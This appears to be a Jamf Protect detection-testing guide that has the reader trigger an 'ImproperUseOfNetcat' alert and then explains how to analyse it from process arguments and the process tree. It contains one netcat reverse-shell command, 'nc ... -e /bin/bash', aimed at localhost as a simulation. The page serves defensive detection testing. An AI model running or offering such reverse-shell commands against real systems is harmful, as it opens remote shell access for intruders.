Requirements
If using a virtual machine, take a snapshot to revert back to at the end of this simulation.
- Open the Terminal and run the following command.
# try to initiate a remote session with netcat nc 127.0.0.1 8080 -e /bin/bashAfter completing the above testing steps a new alert titled ImproperUseOfNetcat can be expected inside Jamf Protect Cloud. - Open and review the ImproperUseOfNetcat alert. The most interesting data points when analyzing this alert are:
Summary > Process Event Details > Process Arguments: This will provide the target IP address and port for the remote connection, as well as the program that was attempted to execute.
- Processes: The process tree will provide indication of how the Netcat remote session was initiated.
In a real world scenario, investigation of this alert should begin with examining the process arguments to identify the target of the remote session and the program which was attempted to be executed, as well as identifying how exactly the Netcat command was executed via the process tree.
- If a virtual machine snapshot was taken prior to completing this test scenario the easiest cleanup method is to revert to the snapshot.